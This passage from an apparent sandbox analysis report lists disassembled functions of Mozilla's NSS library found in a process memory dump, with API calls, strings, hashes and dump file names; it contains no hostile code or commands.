Y_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: cbbf27758bd8662921252b1088c89c2ef264f9b54cfbdedfcbb504c271c436ef
Instruction ID: a7f353fcf22e5d63b46317c0377f100ac8d2ba40e83d68ee7d16c04e193a499b
Opcode Fuzzy Hash: cbbf27758bd8662921252b1088c89c2ef264f9b54cfbdedfcbb504c271c436ef
Instruction Fuzzy Hash: C961DC20A4F04686FE1C454CA1BE36C3134AB27709F74C27BE79D8EFA5C295CA874693

Function 6CEB5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEB5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEB5E5C
free.MOZGLUE(00000000), ref: 6CEB5E7E
free.MOZGLUE(00000000), ref: 6CEB5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEB5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEB5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEB5EF0
free.MOZGLUE(00000000), ref: 6CEB5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEB5F5B
free.MOZGLUE(00000000), ref: 6CEB5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEB5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEB5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB5FC4
free.MOZGLUE(00000000), ref: 6CEB5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB5FE9
free.MOZGLUE(00000000), ref: 6CEB5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEB6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEB605A
PR_smprintf.NSS3(6CF8AAF9,00000000), ref: 6CEB606A
free.MOZGLUE(00000000), ref: 6CEB607C
free.MOZGLUE(00000000), ref: 6CEB609A
free.MOZGLUE(00000000), ref: 6CEB60B2
free.MOZGLUE(?), ref: 6CEB60CE

Strings

readOnly, xrefs: 6CEB5E56
secmod.db, xrefs: 6CEB5EA0
flags, xrefs: 6CEB5E3A, 6CEB5EC6, 6CEB5F30
%s/%s, xrefs: 6CEB6055
secmod=, xrefs: 6CEB5FB1
noModDB, xrefs: 6CEB5EEA
forceSecmodChoice, xrefs: 6CEB5F55
pkcs11.txt, xrefs: 6CEB5F47, 6CEB5F7C, 6CEB603A, 6CEB6053
configDir=, xrefs: 6CEB5F9D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction ID: 7689b95bcba72486cb6b96a64f97adbdfcf40409a872f18bb0bf25a383cde95a
Opcode Fuzzy Hash: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction Fuzzy Hash: A991E5F4E052059BEB118F65DE81BBA7BB89F0624CF280065EC55FBB41E732D905C7A2

Function 6CE41D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE41DA3

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE41DB2

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE41DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE41E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE41EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE41ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE41EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE41F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE41F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE41F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE41F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE41F83
PR_SetLogFile.NSS3(00000000), ref: 6CE41FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE41FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE41FCB
free.MOZGLUE(00000000), ref: 6CE41FD2

Strings

all, xrefs: 6CE41F0E
timestamp, xrefs: 6CE41EC4
sync, xrefs: 6CE41E46
bufsize, xrefs: 6CE41E9B
NSPR_LOG_FILE, xrefs: 6CE41F69
append, xrefs: 6CE41EE6
, %n, xrefs: 6CE41E6B
NSPR_LOG_MODULES, xrefs: 6CE41DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE41E27
Unable to create nspr log file '%s', xrefs: 6CE41FB3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction ID: de7b6f77756fd9a860c2380bec82bacd0c3f40990bfe50bd18560ab3080d4cb2
Opcode Fuzzy Hash: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction Fuzzy Hash: B451A3B1E002499BDF00DBE5EC45B9EB7B8AF0134DF288528E815DBB01E771E529CB95

Function 6CF26E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDEBE66), ref: 6CF26E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDEBE66), ref: 6CF26E98
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26FA6
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDEBE66), ref: 6CF2701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF27030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF2705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF27079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF270A0

Strings

winGetTempname2, xrefs: 6CF270C4
winGetTempname1, xrefs: 6CF2708F
winGetTempname5, xrefs: 6CF27071
mz_etilqs_, xrefs: 6CF26F18
winGetTempname4, xrefs: 6CF27046

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction ID: 006b15c0a96bb7121b17f37f10d7bf53b9682056a0c82d1b6b24ed2498fab57e
Opcode Fuzzy Hash: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction Fuzzy Hash: 23518C72E051115BE71497B0AC61BBB36669F92318F144538E81197FD1FF2AE90E82E3

Function 6CEB4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000,00000000,00000001), ref: 6CEB5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEB5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEB5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2), ref: 6CEB50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5153
free.MOZGLUE(?), ref: 6CEB516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB5195

Strings

library=, xrefs: 6CEB5043
nss=, xrefs: 6CEB5083
config=, xrefs: 6CEB509B
parameters=, xrefs: 6CEB506B
name=, xrefs: 6CEB5057

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction ID: c8c4520933d6861ddb99b9df99095dc1acb46ff44c07b6438cdadf979170f20b
Opcode Fuzzy Hash: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction Fuzzy Hash: 1F51A7B5A12205ABEB41DF64DD41ABE37B89F0624CF240024EC19F7741EB35E915C7B2

Function 6CE88E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE88E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE88EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88EB3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE88EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE88EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE88F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE88F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE88F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE88F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE88F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE88FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE88FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE89047

Strings

hSession = 0x%x, xrefs: 6CE88E8E, 6CE88E9E
pWrappedKey = 0x%p, xrefs: 6CE88FAD
hWrappingKey = 0x%x, xrefs: 6CE88F01, 6CE88F11
pulWrappedKeyLen = 0x%p, xrefs: 6CE88FC8
hKey = 0x%x, xrefs: 6CE88F5B, 6CE88F6B
(CK_INVALID_HANDLE), xrefs: 6CE88EAC, 6CE88F1F, 6CE88F79
pMechanism = 0x%p, xrefs: 6CE88EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6CE89042
C_WrapKey, xrefs: 6CE88E71

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 887fd17c3066794dfdadad5a634a8cdf116643837d71c8721e9c9d826d7bbbc4
Instruction ID: c2cf1061783e5af07075756781614c1f2843b9bcb62c4e6510a3a5ebf1119485
Opcode Fuzzy Hash: 887fd17c3066794dfdadad5a634a8cdf116643837d71c8721e9c9d826d7bbbc4
Instruction Fuzzy Hash: 9751E531A12104AFDB10DF40DD88F9B7B72AB4230CF19442AF90D6BB52DB329918CBA5

Function 6CEB4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C5B
PR_smprintf.NSS3(6CF8AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEB4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEB4DA2
free.MOZGLUE(?), ref: 6CEB4DB9
free.MOZGLUE(00000000), ref: 6CEB4DCF

Strings

rust, xrefs: 6CEB4D22
%s,%s, xrefs: 6CEB4C4B
every, xrefs: 6CEB4CA1
ootT, xrefs: 6CEB4D1A
rootFlags, xrefs: 6CEB4D47
timeout, xrefs: 6CEB4C91
slotFlags, xrefs: 6CEB4D34
any, xrefs: 6CEB4C96
0x%08lx=[%s %s], xrefs: 6CEB4D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEB4D9D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction ID: 84d685605cf54c20361e1a9b1875a1b17ea5cdef3617b6ee73e3e14b46893a1d
Opcode Fuzzy Hash: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction Fuzzy Hash: 7D418EB2E10141ABDB125F689D40BBF7675AF8270CF25412AEC196BB01E731E914C7D3

Function 6CE96CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE96943
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE96957
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE96972
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE96983
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE969AA
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE969BE
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE969D2
Part of subcall function 6CE96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE969DF
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96D8C
free.MOZGLUE(00000000), ref: 6CE96DC5
free.MOZGLUE(?), ref: 6CE96DD6
free.MOZGLUE(?), ref: 6CE96DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E72
free.MOZGLUE(?), ref: 6CE96EA7
free.MOZGLUE(?), ref: 6CE96EC4
free.MOZGLUE(?), ref: 6CE96ED5
free.MOZGLUE(00000000), ref: 6CE96EE3
free.MOZGLUE(?), ref: 6CE96EF4
free.MOZGLUE(?), ref: 6CE96F08
free.MOZGLUE(00000000), ref: 6CE96F35
free.MOZGLUE(?), ref: 6CE96F44
free.MOZGLUE(?), ref: 6CE96F5B
free.MOZGLUE(00000000), ref: 6CE96F65

Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
Part of subcall function 6CE96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96
Part of subcall function 6CE96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE96FF4

Strings

+`l, xrefs: 6CE96D0D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction ID: 6e936dff8fa6ef1b398e61a7bce68884da8adeb21f35e76cd66c2587caab6fce
Opcode Fuzzy Hash: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction Fuzzy Hash: 83B13AB5E012099FDF80DFA5D845B9EBBB8AF0534CF240026E815E7B50E731EA55CBA1

Function 6CE5DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5DDDE

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE5DDF5

